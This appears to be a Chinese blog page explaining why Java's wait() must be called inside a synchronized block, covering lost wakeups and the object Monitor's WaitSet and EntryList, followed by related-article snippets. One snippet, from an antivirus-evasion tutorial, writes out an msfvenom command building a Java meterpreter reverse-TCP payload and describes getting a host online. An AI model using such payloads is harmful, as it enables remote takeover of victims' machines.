为什么wait()要在synchronized块中执行

news/2024/5/20 5:47:41 标签: java, 开发语言, juc

一、不在synchronized块中执行的话,虽然编译时会通过,但在运行的过程中会报错IllegalMonitorStateException。

二、从逻辑上分析:

        wait()、notify()、notiryAll()这种等待唤醒机制是为了实现线程之间的同步,而实现同步的话,在大多数情况下是建立在互斥的基础上的,就这种情况来说,如果不加同步锁(synchronized)实现互斥的话,有可能会发生下面这种情乱:

        wait() 方法还没有执行完,notify() / notifyAll() 方法已经执行完,这样 notify() / notifyAll() 就进行了一次空唤醒操作,而 wait() 执行完后由于再没有notify() / notifyAll()的唤醒,会导致wait() 所在线程一直阻塞。

三、从底层实现分析:

        既然要保证 wait()、notify()、notiryAll() 和互斥性,为什么不用 ReentrantLock 这种可重入锁来实现互斥配合呢?

        首先,每个Java对象底层都会关联一个 Monitor 对象,在 Monitor 中维护了 两个队列 WaitSet 和 EntryList ,owner 属性。

        ReentrantLock 它实现互斥是通过用cas对 AQS同步器中 state 属性进行操作,以及park()/unpark()来实现互斥。而 synchronized( lock ) 被调用后会将当前线程 赋值给lock对象所关联的 monitor 对象的 owner 属性,其他线程 再想获取 lock 锁对象的话如果发现  lock对象所关联的 monitor 对象的 owner 属性不为空,就会进入 EntryList 进行阻塞,而调用了wait() 后就会将 owner 指向的线程对象放入 WaitSet 中进行等待,并将 owner 置为 null (释放掉锁),直到其他线程获取到 lock 这个对象锁以后通过 notify() / notifyAll() 方法 唤醒 WaitSet 中 的线程,这时 WaitSet中等待的线程才会进入 EntryList 参与lock 锁的竞争。( notify() / notifyAll() 并不会释放锁,只有等待 synchronized 执行完才会释放锁 )

        ReentrantLock它实现同步/互斥并不会涉及到 monitor,所以 不能用 ReentrantLock 这种可重入锁来实现互斥配合 wait()、notify()、notiryAll()。

以上个人理解,若有不对之处请指正


http://www.niftyadmin.cn/n/5040315.html

相关文章

Android studio 升级常见报错

一、Cause: duplicate entry: META-INF/MANIFEST.MF 1、解决方案 在android studio编译ijkplayer时出现该问题: Cause: duplicate entry: META-INF/MANIFEST.MF一般为 工程目录build:gradle文件 classpath com.android.tools.build:gradle:3.5.3版本的原因。 可以把…

rust枚举

一、定义枚举 1.使用enum关键字定义枚举。 语法格式如下 enum enum_name {variant1,variant2,variant3 }例如 enum Fruits {Banana, // 香蕉Pear, // 梨Mandarin, // 橘子Eggplant // 茄子 }2.可以为枚举成员添加属性 enum Book {Papery(u32),Electronic(String), } let bo…

基于知识蒸馏的两阶段去雨去雪去雾模型学习记录(一)

前面完成了基于知识蒸馏的去雨去雪去雾模型大的部署与训练,下面则进行代码的学习。 使用debug的方式进行代码的学习。 首先是网络结构展示:轻易不要打开,这个模型太复杂了。说到底倒不是多复杂,就是层数太多了 Net((conv_input):…

as-if-serial与happens-before原则详解

文章目录 前言详解解决多线程下的问题 Happens-before原则总结as-if-serial语义happens-before的例子 前言 "as-if-serial"原则是Java内存模型中的一个重要概念。该规则规定:不管怎么重排序(编译期间的重排序,指令级并行的重排序&…

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令:msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包,成功上线 命令&#xff1…

一文详解自动化测试框架知识

前言 自动化测试因其节约成本、提高效率、减少手动干预等优势已经日渐成为测试人员的“潮流”,从业人员日益清楚地明白实现自动化框架是软件自动化项目成功的关键因素之一。 我们将从什么是真正的自动化测试框架、自动化脚本如何工作以及自动化测试框架会如何在测…

生产发版前准备【经验分享给萌新程序员】

经验分享 自从当了码农,已经不知道有多少个日日夜夜熬夜到凌晨三四点了。 不知道大家有没有想过,生产上线发布新版本到凌晨三、四点都有可能是哪些原因呢? 下面我将分享下自己以前跟进生产版本发布的经验,经验丰富的老前辈们肯定都…

怎么在OPPO手机桌面上添加文字?便签桌面插件添加教程

很多年轻女性在选择手机时,都比较青睐于设计时尚靓丽、轻薄且续航好、系统流畅、拍照清晰的OPPO手机,并且OPPO为不同的用户提供了高中低不同价格档位的手机型号,能够满足绝大多数女性消费者的使用需求。 不过有不少OPPO手机用户表示&#xf…